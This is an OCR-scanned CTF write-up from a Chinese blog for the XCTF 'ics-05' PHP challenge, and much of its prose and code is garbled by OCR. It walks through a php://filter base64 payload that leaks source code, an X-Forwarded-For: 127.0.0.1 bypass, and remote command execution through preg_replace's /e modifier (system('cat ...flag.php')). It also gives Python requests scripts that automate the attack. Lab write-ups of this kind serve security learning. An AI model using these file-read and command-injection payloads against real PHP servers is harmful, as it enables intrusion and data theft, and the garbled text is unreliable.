XCTFXPitt Fiwebz ics-05 (& Az4LBIZA)

JOhnson666 2. F 2022-02-10 22:21:20 &% 517 R

FRER: #CTF XEIFL: Hidm php FRIES

F 2022-02-10 20:17:24 H IR K A

R B A SONTEEREISCE, BIE.CC 4.0 BY-SA MRAIMN, F8iE M LR SCH AMBEEMA .
ACEERE: https://blog.csdn.net/weixin_50464560/article/details/122865809

9 FICE 0I5
TR

—. T
AXEEU TR X ERTKES
https://iwww.jianshu.com/p/5a502873635b

https://blog.csdn.net/about23/article/details/95349625

SRS, AR A H A

REEEEMES

SR RO

BUTR B EWHEE

Linggiu

o 1-.._./‘-'—5-"

~N _

‘ -
CSDN @40hnsonB666



https://blog.csdn.net/weixin_50464560
https://blog.csdn.net/weixin_50464560/category_10842802.html
https://so.csdn.net/so/search/s.do?q=%25E5%2589%258D%25E7%25AB%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25BC%2580%25E5%258F%2591%25E8%25AF%25AD%25E8%25A8%2580&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_50464560/article/details/122865809
https://blog.csdn.net/weixin_50464560/category_10842802.html
https://www.jianshu.com/p/5a502873635b
https://blog.csdn.net/about23/article/details/95349625
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_50464560&utm_content=122865809

A E R R A E AR LEsEERARE LT P LREIIARRS
fEJE H 7N nlogin.php TR, MSIAMMTER, IR HRABIH AR TG

Bk AT EEK ST 6 #&%EP 07 URLEEE S #?page=index fE7EgettE{E

<« c o () 111.198.29.45
B s 5 sEmis

=FarEsErho

IREIIFE

el mYi | b L
CSDN @)Ohnsongge

page 1S £ kA8 £ W] BeAF £ S MF B 2 R TR
51 LSRN A

LF I £ 28 4 40 Wi Oy ¥k
g MURLAI BT 3%, URL9H path. dir. file. pag. page. archive. p. eng. i& & 3C{%H < 5% 5 7 IR i i 4%, 7] fig
FEXHAEREA

BMABEEYH, 2ZRiEEindexphpfIERS, EHphpthihil

?page=php://filter/read=convert.base64-encode/resource=index.php

Ftt 4R B base6ddmis, WMBEAEL, WHBTFHTIERMET (SEITHMI)D
i \payloadf§E|—Btbase64

PD9waHAKZXJyb3JfcmVwb3J0aWw5nKDApOwoKQHNIc 3Npb25fc 3RhcnQoKTsKe G9zaXhfc2V0dWIKKDEwWM
Jog73vvizpniDopoHkvp3otZZib
/nm5HIkKzIr7zoiKrngrnih7sKICAgICAgICBIbGVIZWS0LmOuKCduYXYoZGVibyknLCBmdW5jdGIvbinbGVIKS
/PaoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogIlCAgPGRpdiBzdHIsZT0idGV4dC1hbGInbijg



/Pjwvc DAKICAgIDxiciAVPjxiciAvPXiciAvVPjxiciAvPgoKPDI9waHAKCn1IbHNIewoKPz4KICAgICAQICA8YnigLz48"
lcGhwCqgogICAgICAgICAQICAQICAgaWYgKHNOcnBvcygkc GFnZSwgJ2lucHVO0JykgPiAWKSB7 CIAQICAQICAg

/PgogICAgICAgIDwvcD4KICAgICAQICASYNIgLz48YnIgLz48YnIgLz48Ynlg
/0g70s502j5Zyo5byASY+R5Lit55qESYQi6I0977yMS5Y+q6l095YaF6YO05Lq65ZGY SrWi.Sif+\é0gppZiAodrt

RJEERS, D HTIRRS

if ($_SERVER[ 'HTTP t FORWARDED_FOR " ]

» >Welcome My Admin ! <br >

pattern _GET[pat];
treplacement _GET[rep];

subject _GET[sub];

( (¢pattern) ($replacement) ($subject)) {
(¢pattern, ¢replacement, $subject);

PHIEXFFLRBENRS, FFIHpreg replace®$IwiFH

preg_replace( pattern , replacement , subject ) :

Lpre_replacefjSHpatternfiN/elIBHE , S Hreplacement #XAS L /EPHPARIZHAT
T R&Mi&payload

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123
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p=system("find+-ina L"\ <script>

T | layui.use('element', function() {
9 var element = layui.element;
(Vindows NT 10.0; / /000hov e r000000000000000element00
100101 Firefox/€8.0 J/ /000000
element.on( 'nav(demo) ', function(elem) {
tml+xml, application //console.log(elem)
layer.msg(elem.text()) :
b
.7,2zh-HK;gq=0.5,en-U }:

</script>
eflate
<br >Welcome My Admin ! <br >./s3chahahaDlir/flag

SaSeir3bh9cms </body> /
s: 1

</html>
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HEBFE  weMurlfBBERLS FREESS

8& R ML ANBEERE, BHIEAAPIT ATEHLSPATRI, J&H K64 HiiT

index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%261s" )&sub=123

m("cd+./s3ch h\ <script>
HTTP/1.1 layui.use('element', function() {
var element = layui.element;
s NT 10.0; / /O000Ohov e r000000000000000elementO0
Firefox/€8.0 J /000000
element.on{ 'nav(demo) ', function(e.
sapplication Jf/console.log(elem)

layer.msg(elem.text()) :

1)
K;q=0.5,en-U }):
</script>

<pbr >Welcome My Admin ! <br >flag.php
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B J5ipayload

index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

GET
/index.php?pat=/123/e&rep=system|"cat+./83c
hahahaDir/flag/flag.php") &3ub=123 HTTF/1.1l
Host: 111.1%8.29.45:51109

User-Agent: Mozilla/5.0 (Windows NT 10.0;
VOWE4; rv:68.0) Gecko/Z01l00101 Firefox/€8.0
Accept:

text/html, application/xhtml+xml, application
/xml;eq=0.9,*/*:¢q=0.8

Accept-Language:

zh-CN, zh; ¢=0.8, zh-TW; ¢=0.7, zh-HK: gq=0.5, en-U
S:;eq=0.3,en;q=0.2
Accept-Encoding: gzip,
Connection: keep-alive
Cookie:
PHPSESSID=19jdrat lbdsal9asSeiribh9qms
Upgrade-Insecure-Requests: 1
Cache-=Control: max-age=0
¥-Forwarded-For: 127.0.0.1

deflate

Bflag

J /000hev er000000000000000 el emen tO0
/ /000000
element .on( 'nav(demo) ', function(elem) {
[ /console.log(elem)
layer .msg(elem.text()):
b
1)
</script>

<br >Welcome My Admin ! <br ><?php

§flag = 'cyberpeace{aif41e3943e5bd48bB0B4b25e4b27182) ' ;
™

</body> /

</html>
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cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}
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EE

preg_replaceff R IXFEH:

C ) https://www.php.net/manual/zh/function.preg-replace.php

Downloads Documentation | Getlnvelved Help php ‘.1

preg_replace

(PHP &, PHP 5, PHP 7, PHP 8)
preg_replace — T NENFEAN IS ZF &R

1488

preg_replace(
stringlarray $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
: stringlarray|null

##% subject -hILHD pattern (9555, LA replacement #{7Eiq,

CSDMN @JOhnsor #sl8]

AKX B payloadH Hpat&123, subf£123:
index.php?pat=/123/e&rep=system(“cat+./s3chahahabDir/flag/flag.php”)&sub=123

WALl R&pathl, subN123iXFE, HEsubipatBEEMHIT; Mpath123, subNIEAITH.
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XEIRRET HApythonS HBLIIZA

B AHAREphpHIfilterh HFKEU index . phpiibase64dm g HITEIS#HTbase64f@id)E, BAR—HRZXTH
4 i | r
import re

import requests
import base64

burp@_url = "http://111.200.241.244:64303/index.php/login/?page=php://filter/read=convert.base64-encode
response = requests.get(burp@_url)

resultl = re.findall('<p class="lead">\s+(.*)', response.text) #/HFIHIZEME: \sCHEILEIFE S EHFH, X I+3
#print(response. text)

#print(resultl)
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result2 = "’.joln(resultl) #join() 7i&E/MH T #/F5)F HIIUZE KL TEE H) F 1 EEE /K — 1B 711+
#print(result2)

result = str(base64.b64decode(result2 "utf-8"

print(result

file = open('result.php’,'w’
file.write(result

XERRER:

re
requests
base64

burp@_url =
response requests.get(burpe_url)

resultl = re.findall( \sx(.%) ., response.text),

result2 .join(resultl)

se64.b64decode(result2)
(result)

file =
file.write(result)

d
error_reporting(9);

@session_start();
posix_setuid(1600);

Jl

wm g L

?>
<IDOCTYPE HTML>
<html>

0 B &Run @

MLXBEHHRE, BEENAKFE—HRX T Fresult. phpRitis T — SRR H it

~ JetBrains PhpStorm (1)
2 result.php 2022/2/10 16:58 JetBrains PhpSto... 4 KB

[&f D:\PyCharm 2020.1\pythontest\result.php - Notepad++ [Administrator] - X
TH(F) SEE) BRES) ME(V) SRN) BHL R’EM ITRO) AM EFR) EEE) =0W) ? X
Py oary=y | [g|ex BRI EFER ®| ®

B rssuh.phpr:ll <|r
[T HFeeme ~

error_reporting () ;

@session start():
posix_setuid(1000) 7

KipocTyeE mmMrd

E‘ nonl>
<nead>

o

—UA-Compatible" content="IE=edge,chrome=1">
> — ~width, initial-

ayui/css/layni.css” media="all">

le=1, maximam-scale=1">

layui-nav'>
"layui-nav-item layui-this"><a href="?page=index">ZFBRELT P Lrc/a>c/15>

"Layui-elem-field layui-field-title" style="margin-top: 30px;">

1
SBEFIF/12gena>

testm></table>
Wi tehTpl!

" lay-text="JF| 3" lay-filter="

id}}" lay-skin='

o</ seripes
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Welcome My Admin !
» BAXEAREERIEN T HE. HAERHpythonRIEIEK:
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import requests
import re

burpo_url = "http://111.200.241.244:64303/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123"
burp@_cookies = {"PHPSESSID": "a7@ecfmos@qoiotgunelqqvl85"}

burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firef
response=requests.get(burp®_url, headers=burp@_headers, cookies=burp@_cookies)

print(response.text)

result = re.findall("flag = (.*)",response.text)

print(result)

HEEEER: C\Windows\System32\cmd.exe - i X
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: ~
{ field: ’ ', ti i * nameTy
[ field: ’area’. ti .
{ field: us', ti G ®[1, minWidth: 120, _
{ field: "¢ o 1t D Tk ", width: 85, templet witchTpl’, unresize: true }

hahahaDir/flag
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import requests
import re

burp@_url = 'http://111.200.241.244:56339/index.php?pat=/123/e&rep=system("cat+./s3chahahabDir/flag/flag



burp@_cookies = {"PHPSESSID": "a7@ecfmos@qoiotgunelqqvl85"}

burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firef
response=requests.get(burp®_url, headers=burp@_headers, cookies=burp@ cookies)

print(response.text)

resultl = re.findall("flag = (.*)",response.text)

result = ''.join(resultl)

print("ENFRERILAHEFflag: "+ result)

EEA: C:\Windows\System32\cmd.exe — O X

(¢ MMAoveraM2MAMA° [° § ¢[MAMG- [AM3CRi%EOR] EA%EBrBlenent® ™ jalll

function(elem) {

9357d18b48725e46}” :

CSDN

flagAcyberpeace{d66325024cfcac289357d18b48725e46}
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